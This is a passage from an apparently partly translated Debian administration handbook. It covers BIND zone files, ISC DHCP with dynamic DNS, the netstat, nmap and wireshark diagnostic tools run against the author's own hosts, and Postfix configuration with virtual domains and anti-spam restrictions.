604800 )       ; Negative Cache TTL

;

; The @ refers to the zone name ("falcot.com" here)

; or to $ORIGIN if that directive has been used

;

@       IN      NS      ns

@       IN      NS      ns0.xname.org.

internal IN      NS      192.168.0.2

@       IN      A       212.94.201.10

@       IN      MX      5 mail

@       IN      MX      10 mail2

ns      IN      A       212.94.201.10

mail    IN      A       212.94.201.10

mail2   IN      A       212.94.201.11

www     IN      A       212.94.201.11

dns     IN      CNAME   ns

CAUTION Syntax of a name

The syntax of machine names follows strict rules. For instance, machine implies machine.domain. If the domain name should not be appended to a name, said name must be written as machine. (with a dot as suffix). Indicating a DNS name outside the current domain therefore requires a syntax such as machine.otherdomain.com. (with the final dot).

範例 10.14. Excerpt of /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16

; admin.falcot.com. => zone contact: admin@falcot.com

$TTL    604800

@       IN      SOA     ns.internal.falcot.com. admin.falcot.com. (

20040121        ; Serial

604800         ; Refresh

86400         ; Retry

2419200         ; Expire

604800 )       ; Negative Cache TTL

IN      NS      ns.internal.falcot.com.

; 192.168.0.1 -> arrakis

1.0     IN      PTR     arrakis.internal.falcot.com.

; 192.168.0.2 -> neptune

2.0     IN      PTR     neptune.internal.falcot.com.

; 192.168.3.1 -> pau

1.3     IN      PTR     pau.internal.falcot.com.

10.8. DHCP

DHCP (for Dynamic Host Configuration Protocol) is a protocol by which a machine can automatically get its network configuration when it boots. This allows centralizing the management of network configurations, and ensuring that all desktop machines get similar settings.

A DHCP server provides many network-related parameters. The most common of these is an IP address and the network where the machine belongs, but it can also provide other information, such as DNS servers, WINS servers, NTP servers, and so on.

The Internet Software Consortium (also involved in developing bind) is the main author of the DHCP server. The matching Debian package is isc-dhcp-server.

10.8.1. 配置

The first elements that need to be edited in the DHCP server configuration files (/etc/dhcp/dhcpd.conf, and /etc/dhcp/dhcpd6.conf for IPv6) are the domain name and the DNS servers. If this server is alone on the local network (as defined by the broadcast propagation), the authoritative directive must also be enabled (or uncommented). One also needs to create a subnet section describing the local network and the configuration information to be provided. The following example fits a 192.168.0.0/24 local network with a router at 192.168.0.1 serving as the gateway. Available IP addresses are in the range 192.168.0.128 to 192.168.0.254.

範例 10.15. Excerpt of /etc/dhcp/dhcpd.conf

#

# Sample configuration file for ISC dhcpd for Debian

#

# The ddns-updates-style parameter controls whether or not the server will

# attempt to do a DNS update when a lease is confirmed. We default to the

# behavior of the version 2 packages ('none', since DHCP v2 didn't

# have support for DDNS.)

ddns-update-style interim;

# option definitions common to all supported networks...

option domain-name "internal.falcot.com";

option domain-name-servers ns.internal.falcot.com;

default-lease-time 600;

max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local

# network, the authoritative directive should be uncommented.

authoritative;

# Use this to send dhcp log messages to a different log file (you also

# have to hack syslog.conf to complete the redirection).

log-facility local7;

# My subnet

subnet 192.168.0.0 netmask 255.255.255.0 {

option routers 192.168.0.1;

option broadcast-address 192.168.0.255;

range 192.168.0.128 192.168.0.254;

ddns-domainname "internal.falcot.com";

}

10.8.2. DHCP and DNS

A nice feature is the automated registering of DHCP clients in the DNS zone, so that each machine gets a significant name (rather than something impersonal such as machine-192-168-0-131.internal.falcot.com). Using this feature requires configuring the DNS server to accept updates to the internal.falcot.com DNS zone from the DHCP server, and configuring the latter to submit updates for each registration.

In the bind case (see 節 10.7.1, “DNS software”), the allow-update directive needs to be added to each of the zones that the DHCP server is to edit (the one for the internal.falcot.com domain, and the reverse zone). This directive lists the IP addresses allowed to perform these updates; it should therefore contain the possible addresses of the DHCP server (both the local address and the public address, if appropriate).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Beware! A zone that can be modified will be changed by bind, and the latter will overwrite its configuration files at regular intervals. Since this automated procedure produces files that are less human-readable than manually-written ones, the Falcot administrators handle the internal.falcot.com domain with a delegated DNS server; this means the falcot.com zone file stays firmly under their manual control.

The DHCP server configuration excerpt above already includes the directives required for DNS zone updates: they are the ddns-update-style interim; and ddns-domain-name "internal.falcot.com"; lines.

10.9. Network Diagnosis Tools

When a network application does not run as expected, it is important to be able to look under the hood. Even when everything seems to run smoothly, running a network diagnosis can help ensure everything is working as it should. Several diagnosis tools exists for this purpose; each one operates on a different level. It would go beyond the scope of this book to discuss all tools, so we will focus on the more well-known and commonly used tools in the following sections.

10.9.1. Local Diagnosis: netstat

Let's first mention the netstat command (in the net-tools package); it displays an instant summary of a machine's network activity. When invoked with no argument, this command lists all open connections; this list can be very verbose since it includes many Unix-domain sockets (widely used by daemons) which do not involve the network at all (for example, dbus communication, X11 traffic, and communications between virtual filesystems and the desktop).

Common invocations therefore use options that alter netstat's behavior. The most frequently used options include:

- -t, which filters the results to only include TCP connections;

- -u, which works similarly for UDP connections; these options are not mutually exclusive, and one of them is enough to stop displaying Unix-domain connections;

- -a, to also list listening sockets (waiting for incoming connections);

- -n, to display the results numerically: IP addresses (no DNS resolution), port numbers (no aliases as defined in /etc/services) and user ids (no login names);

- -p, to list the processes involved; this option is only useful when netstat is run as root, since normal users will only see their own processes;

- -c, to continuously refresh the list of connections.

Other options, documented in the netstat(8) manual page, provide an even finer control over the displayed results. In practice, the first five options are so often used together that systems and network administrators practically acquired netstat -tupan as a reflex. Typical results, on a lightly loaded machine, may look like the following:

# netstat -tupan

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name

tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      397/rpcbind

tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      431/sshd

tcp        0      0 0.0.0.0:36568           0.0.0.0:*               LISTEN      407/rpc.statd

tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      762/exim4

tcp        0    272 192.168.1.242:22        192.168.1.129:44452     ESTABLISHED 1172/sshd: roland [

tcp6       0      0 :::111                  :::*                    LISTEN      397/rpcbind

tcp6       0      0 :::22                   :::*                    LISTEN      431/sshd

tcp6       0      0 ::1:25                  :::*                    LISTEN      762/exim4

tcp6       0      0 :::35210                :::*                    LISTEN      407/rpc.statd

udp        0      0 0.0.0.0:39376           0.0.0.0:*                           916/dhclient

udp        0      0 0.0.0.0:996             0.0.0.0:*                           397/rpcbind

udp        0      0 127.0.0.1:1007          0.0.0.0:*                           407/rpc.statd

udp        0      0 0.0.0.0:68              0.0.0.0:*                           916/dhclient

udp        0      0 0.0.0.0:48720           0.0.0.0:*                           451/avahi-daemon: r

udp        0      0 0.0.0.0:111             0.0.0.0:*                           397/rpcbind

udp        0      0 192.168.1.242:123       0.0.0.0:*                           539/ntpd

udp        0      0 127.0.0.1:123           0.0.0.0:*                           539/ntpd

udp        0      0 0.0.0.0:123             0.0.0.0:*                           539/ntpd

udp        0      0 0.0.0.0:5353            0.0.0.0:*                           451/avahi-daemon: r

udp        0      0 0.0.0.0:39172           0.0.0.0:*                           407/rpc.statd

udp6       0      0 :::996                  :::*                                397/rpcbind

udp6       0      0 :::34277                :::*                                407/rpc.statd

udp6       0      0 :::54852                :::*                                916/dhclient

udp6       0      0 :::111                  :::*                                397/rpcbind

udp6       0      0 :::38007                :::*                                451/avahi-daemon: r

udp6       0      0 fe80::5054:ff:fe99::123 :::*                                539/ntpd

udp6       0      0 2001:bc8:3a7e:210:a:123 :::*                                539/ntpd

udp6       0      0 2001:bc8:3a7e:210:5:123 :::*                                539/ntpd

udp6       0      0 ::1:123                 :::*                                539/ntpd

udp6       0      0 :::123                  :::*                                539/ntpd

udp6       0      0 :::5353                 :::*                                451/avahi-daemon: r

As expected, this lists established connections, two SSH connections in this case, and applications waiting for incoming connections (listed as LISTEN), notably the Exim4 email server listening on port 25.

10.9.2. Remote Diagnosis: nmap

nmap (in the similarly-named package) is, in a way, the remote equivalent for netstat. It can scan a set of “well-known” ports for one or several remote servers, and list the ports where an application is found to answer to incoming connections. Furthermore, nmap is able to identify some of these applications, sometimes even their version number. The counterpart of this tool is that, since it runs remotely, it cannot provide information on processes or users; however, it can operate on several targets at once.

A typical nmap invocation only uses the -A option (so that nmap attempts to identify the versions of the server software it finds) followed by one or more IP addresses or DNS names of machines to scan. Again, many more options exist to finely control the behavior of nmap; please refer to the documentation in the nmap(1) manual page.

# nmap debian

Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:58 CET

Nmap scan report for debian (192.168.122.57)

Host is up (0.000087s latency).

Not shown: 996 closed ports

PORT    STATE SERVICE

22/tcp  open  ssh

79/tcp  open  finger

80/tcp  open  http

113/tcp open  ident

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

# nmap -A localhost

nmap -A localhost

Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:56 CET

Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan

Service scan Timing: About 83.33% done; ETC: 20:57 (0:00:15 remaining)

Nmap scan report for localhost (127.0.0.1)

Host is up (0.000086s latency).

Other addresses for localhost (not scanned): ::1

Not shown: 994 closed ports

PORT    STATE SERVICE VERSION

22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)

|_auth-owners: foobar

25/tcp  open  smtp    Postfix smtpd

|_auth-owners: foobar

|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,

| ssl-cert: Subject: commonName=debian

| Subject Alternative Name: DNS:debian

| Not valid before: 2022-02-22T14:48:42

|_Not valid after:  2032-02-20T14:48:42

|_ssl-date: TLS randomness does not represent time

79/tcp  open  finger?

|_auth-owners: foobar

|_finger: ERROR: Script execution failed (use -d to debug)

80/tcp  open  http    Apache httpd 2.4.52 ((Debian))

|_auth-owners: foobar

|_http-server-header: Apache/2.4.52 (Debian)

|_http-title: Apache2 Debian Default Page: It works

113/tcp open  ident   Liedentd (Claimed user: foobar)

|_auth-owners: foobar

631/tcp open  ipp     CUPS 2.3

|_auth-owners: foobar

| http-robots.txt: 1 disallowed entry

|_/

|_http-server-header: CUPS/2.3 IPP/2.1

|_http-title: Home - CUPS 2.3.3op2

Service Info: Host:  debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 87.91 seconds

As expected, e.g. the SSH, Apache and Postfix applications are listed. Note that not all applications listen on all IP addresses; since Postfix is only accessible on the lo loopback interface, it only appears during an analysis of localhost and not when scanning debian (which maps to the enp1s0 interface on the same machine).

10.9.3. Sniffers: tcpdump and wireshark

Sometimes, one needs to look at what actually goes on the wire, packet by packet. These cases call for a “frame analyzer”, more widely known as a sniffer. Such a tool observes all the packets that reach a given network interface, and displays them in a user-friendly way.

The venerable tool in this domain is tcpdump, available as a standard tool on a wide range of platforms. It allows many kinds of network traffic capture, but the representation of this traffic stays rather obscure. We will therefore not describe it in further detail.

A more recent (and more modern) tool, wireshark (in the wireshark package), has become the new reference in network traffic analysis due to its many decoding modules that allow for a simplified analysis of the captured packets. The packets are displayed graphically with an organization based on the protocol layers. This allows a user to visualize all protocols involved in a packet. For example, given a packet containing an HTTP request, wireshark displays, separately, the information concerning the physical layer, the Ethernet layer, the IP packet information, the TCP connection parameters, and finally the HTTP request itself.

圖形 10.1. The wireshark network traffic analyzer

In our example, the packets traveling over SSH are filtered out (with the !tcp.port == 22 filter). The packet currently displayed was developed at the transport layer of the SSHv2 protocol.

TIP wireshark with no graphical interface: tshark

When one cannot run a graphical interface, or does not wish to do so for whatever reason, a text-only version of wireshark also exists under the name tshark (in a separate tshark package). Most of the capture and decoding features are still available, but the lack of a graphical interface necessarily limits the interactions with the program (filtering packets after they've been captured, tracking of a given TCP connection, and so on). It can still be used as a first approach. If further manipulations are intended and require the graphical interface, the packets can be saved to a file and this file can be loaded into a graphical wireshark running on another machine.

章 11. Network Services: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

Network services are the programs that users interact with directly in their daily work. They are the tip of the information system iceberg, and this chapter focuses on them; the hidden parts they rely on are the infrastructure we already described. They usually require the encryption technology described in 節 10.2, “X.509 certificates”.

11.1. Mail Server

The Falcot Corp administrators selected Postfix for the electronic mail server, due to its reliability and its ease of configuration. Indeed, its design enforces that each task is implemented in a process with the minimum set of required permissions, which is a great mitigation measure against security problems.

ALTERNATIVE The Exim4 server

Debian uses Exim4 as the default email server (which is why the initial installation includes Exim4). The configuration is provided by a separate package, exim4-config, and automatically customized based on the answers to a set of Debconf questions very similar to the questions asked by the postfix package.

The configuration can be either in one single file (/etc/exim4/exim4.conf.template) or split across a number of configuration snippets stored under /etc/exim4/conf.d/. In both cases, the files are used by update-exim4.conf as templates to generate /var/lib/exim4/config.autogenerated. The latter is the file used by Exim4. Thanks to this mechanism, values obtained through Exim's debconf configuration — which are stored in /etc/exim4/update-exim4.conf.conf — can be injected in Exim's configuration file, even when the administrator or another package has altered the default Exim configuration.

The Exim4 configuration file syntax has its peculiarities and its learning curve; however, once these peculiarities are understood, Exim4 is a very complete and powerful email server, as evidenced by the tens of pages of documentation.

→ https://www.exim.org/docs.html

11.1.1. Installing Postfix

The postfix package includes the main SMTP daemon. Other packages (such as postfix-ldap and postfix-pgsql) add extra functionality to Postfix, including access to mapping databases. You should only install them if you know that you need them.

BACK TO BASICS SMTP

SMTP (Simple Mail Transfer Protocol, RFC 5321) is the protocol used by mail servers to exchange and route emails.

Several Debconf questions are asked during the installation of the package. The answers allow generating a first version of the /etc/postfix/main.cf configuration file.

The first question deals with the type of setup. Only two of the proposed answers are relevant in case of an Internet-connected server, “Internet site” and “Internet with smarthost”. The former is appropriate for a server that receives incoming email and sends outgoing email directly to its recipients, and is therefore well-adapted to the Falcot Corp case. The latter is appropriate for a server receiving incoming email normally, but that sends outgoing email through an intermediate SMTP server — the “smarthost” — rather than directly to the recipient's server. This is mostly useful for individuals with a dynamic IP address, since many email servers reject messages coming straight from such an IP address. In this case, the smarthost will usually be the ISP's SMTP server, which is always configured to accept email coming from the ISP's customers and forward it appropriately. This setup (with a smarthost) is also relevant for servers that are not permanently connected to the internet, since it avoids having to manage a queue of undeliverable messages that need to be retried later.

VOCABULARY ISP

ISP is the acronym for “Internet Service Provider”. It covers an entity, often a commercial company, that provides Internet connections and the associated basic services (email, news and so on).

The second question deals with the full name of the machine, used to generate email addresses from a local user name; the full name of the machine ends up as the part after the at-sign (“@”). In the case of Falcot, the answer should be mail.falcot.com. This is the only question asked by default, but the configuration it leads to is not complete enough for the needs of Falcot, which is why the administrators run dpkg-reconfigure postfix so as to be able to customize more parameters.

One of the extra questions asks for all the domain names related to this machine. The default list includes its full name as well as a few synonyms for localhost, but the main falcot.com domain needs to be added by hand. More generally, this question should usually be answered with all the domain names for which this machine should serve as an MX server; in other words, all the domain names for which the DNS says that this machine will accept email. This information ends up in the mydestination variable of the main Postfix configuration file — /etc/postfix/main.cf.

圖形 11.1. Role of the DNS MX record while sending a mail

EXTRA Querying the MX records

When the DNS does not have an MX record for a domain, the email server will try sending the messages to the host itself, by using the matching A record (or AAAA in IPv6).

In some cases, the installation can also ask what networks should be allowed to send email via the machine. In its default configuration, Postfix only accepts emails coming from the machine itself; the local network will usually be added. The Falcot Corp administrators added 192.168.0.0/16 to the default answer. If the question is not asked, the relevant variable in the configuration file is mynetworks, as seen in the example below.

Local email can also be delivered through procmail. This tool allows users to sort their incoming email according to rules stored in their ~/.procmailrc file. Both Postfix and Exim4 suggest procmail by default, but there are alternatives like maildrop or Sieve filters.

After this first step, the administrators got the following configuration file; it will be used as a starting point for adding some extra functionality in the next sections.

範例 11.1. Initial /etc/postfix/main.cf file

# See /usr/share/postfix/main.cf.dist for a commented, more complete version

# Debian specific:  Specifying a file name will cause the first

# line of that file to be used as the name.  The Debian default

# is /etc/mailname.

#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)

biff = no

# appending .domain is the MUA's job.

append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings

#delay_warning_time = 4h

readme_directory = no

# See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on

# fresh installs.

compatibility_level = 2

# TLS parameters

smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem

smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key

smtpd_tls_security_level=may

smtp_tls_CApath=/etc/ssl/certs

smtp_tls_security_level=may

smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination

myhostname = mail.falcot.com

alias_maps = hash:/etc/aliases

alias_database = hash:/etc/aliases

mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost

relayhost =

mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16

mailbox_size_limit = 0

recipient_delimiter = +

inet_interfaces = all

default_transport = smtp

relay_transport = smtp

inet_protocols = all

myorigin = /etc/mailname

SECURITY Snake oil SSL certificates

The snake oil certificates, like the snake oil “medicine” sold by unscrupulous quacks in old times, have absolutely no value: you cannot rely on them to authenticate the server since they are automatically generated self-signed certificates. However, they are useful to improve the privacy of the exchanges.

In general they should only be used for testing purposes, and normal service must use real certificates. The Let's encrypt initiative offers free and trusted SSL/TLS certificates, which can be generated using the certbot package as described in 節 11.2.2, “Adding support for SSL” and then used in postfix like this:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem

smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem

smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt

smtpd_tls_CApath = /etc/ssl/certs

smtp_tls_CApath = /etc/ssl/certs

A different way to generate your own certificates using your own certificate authority is described in 節 10.2.2, “公鑰基礎設施：easy-rsa”.

11.1.2. Configuring Virtual Domains

The mail server can receive mails addressed to other domains besides the main domain; these are then known as “virtual“ domains. In most cases where this happens, the emails are not ultimately destined to local users. Postfix provides two interesting features for handling virtual domains.

CAUTION Virtual domains and canonical domains

None of the virtual domains must be referenced in the mydestination variable; this variable only contains the names of the “canonical” domains directly associated to the machine and its local users.

11.1.2.1. Virtual Alias Domains

A virtual alias domain only contains aliases, i.e. addresses that only forward emails to other addresses.

Such a domain is enabled by adding its name to the virtual_alias_domains variable, and referencing an address mapping file in the virtual_alias_maps variable.

virtual_alias_domains = falcotsbrand.com

virtual_alias_maps = hash:/etc/postfix/virtual

The /etc/postfix/virtual file describes a mapping with a rather straightforward syntax: each line contains two fields separated by whitespace; the first field is the alias name, the second field is a list of email addresses where it redirects. The special @domain.com syntax covers all remaining aliases in a domain.

webmaster@falcotsbrand.com  jean@falcot.com

contact@falcotsbrand.com    laure@falcot.com, sophie@falcot.com

# The alias below is generic and covers all addresses within

# the falcotsbrand.com domain not otherwise covered by this file.

# These addresses forward email to the same user name in the

# falcot.com domain.

@falcotsbrand.com           @falcot.com

After changing /etc/postfix/virtual the postfix table /etc/postfix/virtual.db needs to be updated using sudo postmap /etc/postfix/virtual.

11.1.2.2. Virtual Mailbox Domains

CAUTION Combined virtual domain?

Postfix does not allow using the same domain in both virtual_alias_domains and virtual_mailbox_domains. However, every domain of virtual_mailbox_domains is implicitly included in virtual_alias_domains, which makes it possible to mix aliases and mailboxes within a virtual domain.

Messages addressed to a virtual mailbox domain are stored in mailboxes not assigned to a local system user.

Enabling a virtual mailbox domain requires naming this domain in the virtual_mailbox_domains variable, and referencing a mailbox mapping file in virtual_mailbox_maps. The virtual_mailbox_base parameter contains the directory under which the mailboxes will be stored.

virtual_mailbox_domains = falcot.org

virtual_mailbox_maps = hash:/etc/postfix/vmailbox

virtual_mailbox_base = /var/mail/vhosts

The virtual_uid_maps parameter (respectively virtual_gid_maps) references the file containing the mapping between the email address and the system user (respectively group) that “owns” the corresponding mailbox. To get all mailboxes owned by the same owner/group, the static:5000 syntax assigns a fixed UID/GID (of value 5000 here).

Again, the syntax of the /etc/postfix/vmailbox file is quite straightforward: two fields separated with whitespace. The first field is an email address within one of the virtual domains, and the second field is the location of the associated mailbox (relative to the directory specified in virtual_mailbox_base). If the mailbox name ends with a slash (/), the emails will be stored in the maildir format; otherwise, the traditional mbox format will be used. The maildir format uses a whole directory to store a mailbox, each individual message being stored in a separate file. In the mbox format, on the other hand, the whole mailbox is stored in one file, and each line starting with “From ” (From followed by a space) signals the start of a new message.

# Jean's email is stored as maildir, with

# one file per email in a dedicated directory

jean@falcot.org falcot.org/jean/

# Sophie's email is stored in a traditional "mbox" file,

# with all mails concatenated into one single file

sophie@falcot.org falcot.org/sophie

11.1.3. Restrictions for Receiving and Sending

The growing number of unsolicited bulk emails (spam) requires being increasingly strict when deciding which emails a server should accept. This section presents some of the strategies included in Postfix.

If the reject-rules are too strict, it may happen that even legitimate email traffic gets locked out. It is therefor a good habit to test restrictions and prevent the permanent rejection of requests during this time using the soft_bounce = yes directive. By prepending a reject-type directive with warn_if_reject only a log message will be recorded instead of rejecting the request.

CULTURE The spam problem

“Spam” is a generic term used to designate all the unsolicited commercial emails (also known as UCEs) that flood our electronic mailboxes; the unscrupulous individuals sending them are known as spammers. They care little about the nuisance they cause, since sending an email costs very little, and only a very small percentage of recipients need to be attracted by the offers for the spamming operation to make more money than it costs. The process is mostly automated, and any email address made public (for instance, on a web forum, or on the archives of a mailing list, or on a blog, and so on) will be likely discovered by the spammers' robots, and subjected to a never-ending stream of unsolicited messages. Also every contact found at a compromised system is targeted.

All system administrators try to face this nuisance with spam filters, but of course spammers keep adjusting to try to work around these filters. Some even rent networks of machines compromised by a worm from various crime syndicates. Recent statistics estimate that up to 95% of all emails circulating on the Internet are spam!

11.1.3.1. IP-Based Access Restrictions

The smtpd_client_restrictions directive controls which machines are allowed to communicate with the email server.

When a variable contains a list of rules, as in the example below, these rules are evaluated in order, from the first to the last. Each rule can accept the message, reject it, or leave the decision to a following rule. As a consequence, order matters, and simply switching two rules can lead to a widely different behavior.

範例 11.2. Restrictions Based on Client Address

smtpd_client_restrictions =

permit_mynetworks,

warn_if_reject reject_unknown_client_hostname,

check_client_access hash:/etc/postfix/access_clientip,

reject_rhsbl_reverse_client dbl.spamhaus.org,

reject_rhsbl_reverse_client rhsbl.sorbs.net,

reject_rbl_client zen.spamhaus.org,

reject_rbl_client dnsbl.sorbs.net

The permit_mynetworks directive, used as the first rule, accepts all emails coming from a machine in the local network (as defined by the mynetworks configuration variable).

The second directive would normally reject emails coming from machines without a completely valid DNS configuration. Such a valid configuration means that the IP address can be resolved to a name, and that this name, in turn, resolves to the IP address. This restriction is often too strict, since many email servers do not have a reverse DNS for their IP address. This explains why the Falcot administrators prepended the warn_if_reject modifier to the reject_unknown_client directive: this modifier turns the rejection into a simple warning recorded in the logs. The administrators can then keep an eye on the number of messages that would be rejected if the rule were actually enforced, and make an informed decision later if they wish to enable such enforcement.

TIP access tables

The restriction criteria include administrator-modifiable tables listing combinations of senders, IP addresses, and allowed or forbidden hostnames. These tables can be created using a copy of the /usr/share/doc/postfix/examples/access file shipped with the postfix-doc package and explained in access(5). This model is self-documented in its comments, which means each table describes its own syntax.

The /etc/postfix/access_clientip table lists IP addresses and networks; /etc/postfix/access_helo lists domain names; /etc/postfix/access_sender contains sender email addresses. All these files need to be turned into hash-tables (a format optimized for fast access) after each change, with the sudo postmap /etc/postfix/file command.

The check_client_access directive allows the administrator to set up a blacklist and a whitelist of email servers, stored in the /etc/postfix/access_clientip file. Servers in the whitelist are considered as trusted, and the emails coming from there therefore do not go through the following filtering rules.

The last four rules reject any message coming from a server listed in one of the indicated blacklists. RBL is an acronym for Remote Black List, and RHSBL stands for Right-Hand Side Black List. The difference is that the former lists IP addresses, whereas the latter lists domain names. There are several such services. They list domains and IP addresses with poor reputation, badly configured servers that spammers use to relay their emails, as well as unexpected mail relays such as machines infected with worms or viruses.

TIP White list and RBLs

Blacklists sometimes include a legitimate server that has been suffering an incident. In these situations, all emails coming from one of these servers would be rejected unless the server is listed in a whitelist defined by /etc/postfix/access_clientip.

Prudence therefore recommends including in the whitelist(s) all the trusted servers from which many emails are usually received.

11.1.3.2. Checking the Validity of the EHLO or HELO Commands

Each SMTP exchange starts with a HELO (or EHLO) command, followed by the name of the sending email server. Checking the validity of this name can be interesting. To fully enforce the restrictions listed in smtpd_helo_restrictions the smtpd_helo_required option needs to be enabled. Otherwise clients could skip the restrictions by not sending any HELO/EHLO command.

範例 11.3. Restrictions on the name announced in EHLO

smtpd_helo_required = yes

smtpd_helo_restrictions =

permit_mynetworks,

reject_invalid_helo_hostname,

reject_non_fqdn_helo_hostname,

warn_if_reject reject_unknown_helo_hostname,

check_helo_access hash:/etc/postfix/access_helo,

reject_rhsbl_helo multi.surbl.org

The first permit_mynetworks directive allows all machines on the local network to introduce themselves freely. This is important, because some email programs do not respect this part of the SMTP protocol adequately enough, and they can introduce themselves with nonsensical names.

The reject_invalid_helo_hostname rule rejects emails when the EHLO announce lists a syntactically incorrect hostname. The reject_non_fqdn_helo_hostname rule rejects messages when the announced hostname is not a fully-qualified domain name (including a domain name as well as a host name). The reject_unknown_helo_hostname rule rejects messages if the announced name does not exist in the DNS. Since this last rule unfortunately leads to a lot of rejections, the administrators turned its effect to a simple warning with the warn_if_reject modifier as a first step; they may decide to remove this modifier at a later stage, after auditing the results of this rule.

The reject_rhsbl_helo allows to specify a black list to check the hostname against an RHSBL.

Using permit_mynetworks as the first rule has an interesting side effect: the following rules only apply to hosts outside the local network. This allows blacklisting all hosts that announce themselves as part of the falcot.com network, for instance by adding a falcot.com REJECT You are not in our network! line to the /etc/postfix/access_helo file.

11.1.3.3. Accepting or Refusing Mails Based on the Announced Sender

Every message has a sender, announced by the MAIL FROM command of the SMTP protocol; again, this information can be validated in several different ways.

範例 11.4. Sender checks

smtpd_sender_restrictions =

check_sender_access hash:/etc/postfix/access_sender,

reject_unknown_sender_domain,

reject_unlisted_sender,

reject_non_fqdn_sender,

reject_rhsbl_sender rhsbl.sorbs.net

The /etc/postfix/access_sender table maps some special treatment to some senders. This usually means listing some senders into a white list or a black list.

The reject_unknown_sender_domain rule requires a valid sender domain, since it is needed for a valid address. The reject_unlisted_sender rule rejects local senders if the address does not exist; this prevents emails being sent from an invalid address in the falcot.com domain, and messages emanating from joe.bloggs@falcot.com are only accepted if such an address really exists.

Finally, the reject_non_fqdn_sender rule rejects emails purporting to come from addresses without a fully-qualified domain name. In practice, this means rejecting emails coming from user@machine: the address must be announced as either user@machine.example.com or user@example.com.

The reject_rhsbl_sender rule reject senders based on a (domain-based) RHSBL service.

11.1.3.4. Accepting or Refusing Mails Based on the Recipient

Each email has at least one recipient, announced with the RCPT TO command in the SMTP protocol. These addresses also warrant validation, even if that may be less relevant than the checks made on the sender address.

範例 11.5. Recipient checks

smtpd_recipient_restrictions =

permit_mynetworks,

reject_unauth_destination,

reject_unlisted_recipient,

reject_non_fqdn_recipient,

permit

reject_unauth_destination is the basic rule that requires outside messages to be addressed to us; messages sent to an address not served by this server are rejected. Without this rule, a server becomes an open relay that allows spammers to send unsolicited emails; this rule is therefore mandatory, and it will be best included near the beginning of the list, so that no other rules may authorize the message before its destination has been checked.

The reject_unlisted_recipient rule rejects messages sent to non-existing local users, which makes sense. Finally, the reject_non_fqdn_recipient rule rejects non-fully-qualified addresses; this makes it impossible to send an email to jean or jean@machine, and requires using the full address instead, such as jean@machine.falcot.com or jean@falcot.com.

The permit directive at the end is not necessary. But it can be useful at the end of a restriction list to make the default policy explicit.

11.1.3.5. Restrictions Associated with the DATA Command

The DATA command of SMTP is emitted before the contents of the message. It doesn't provide any information per se, apart from announcing what comes next. It can still be subjected to checks.

範例 11.6. DATA checks

smtpd_data_restrictions = reject_unauth_pipelining

The reject_unauth_pipelining directives causes the message to be rejected if the sending party sends a command before the reply to the previous command has been sent. This guards against a common optimization used by spammer robots, since they usually don't care a fig about replies and only focus on sending as many emails as possible in as short a time as possible.

11.1.3.6. Applying Restrictions

Although the above commands validate information at various stages of the SMTP exchange, Postfix sends the actual rejection as a reply to the RCPT TO command by default.

This means that even if the message is rejected due to an invalid EHLO command, Postfix knows the sender and the recipient when announcing the rejection. It can then log a more explicit message than it could if the transaction had been interrupted from the start. In addition, a number of SMTP clients do not expect failures on the early SMTP commands, and these clients will be less disturbed by this late rejection.

A final advantage to this choice is that the rules can accumulate information during the various stages of the SMTP exchange; this allows defining more fine-grained permissions, such as rejecting a non-local connection if it announces itself with a local sender.

The default behavior is controlled by the smtpd_delay_reject rule.

11.1.3.7. Filtering Based on the Message Contents

The validation and restriction system would not be complete without a way to apply checks to the message contents. Postfix differentiates the checks applying to the email headers from those applying to the email body.

範例 11.7. Enabling content-based filters

header_checks = regexp:/etc/postfix/header_checks

body_checks = regexp:/etc/postfix/body_checks

Both files contain a list of regular expressions (commonly known as regexps or regexes) and associated actions to be triggered when the email headers (or body) match the expression.

QUICK LOOK Regexp tables

The file /usr/share/doc/postfix/examples/header_checks (from the postfix-doc package) and header_checks(5) contain many explanatory comments and can be used as a starting point for creating the /etc/postfix/header_checks and /etc/postfix/body_checks files.

範例 11.8. Example /etc/postfix/header_checks file

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)

/^Subject: *Your email contains VIRUSES/ DISCARD virus notification

BACK TO BASICS Regular expression

The regular expression term (shortened to regexp or regex) references a generic notation for expressing a description of the contents and/or structure of a string of characters. Certain special characters allow defining alternatives (for instance, foo|bar matches either “foo” or “bar”), sets of allowed characters (for instance, [0-9] means "any digit", and . — a dot — means "any character"), quantification (s? matches either s or the empty string, in other words 0 or 1 occurrence of s; s+ matches one or more consecutive s characters; and so on). Parentheses allow grouping search results.

The precise syntax of these expressions varies across the tools using them, but the basic features are similar.

→ https://en.wikipedia.org/wiki/Regular_expression

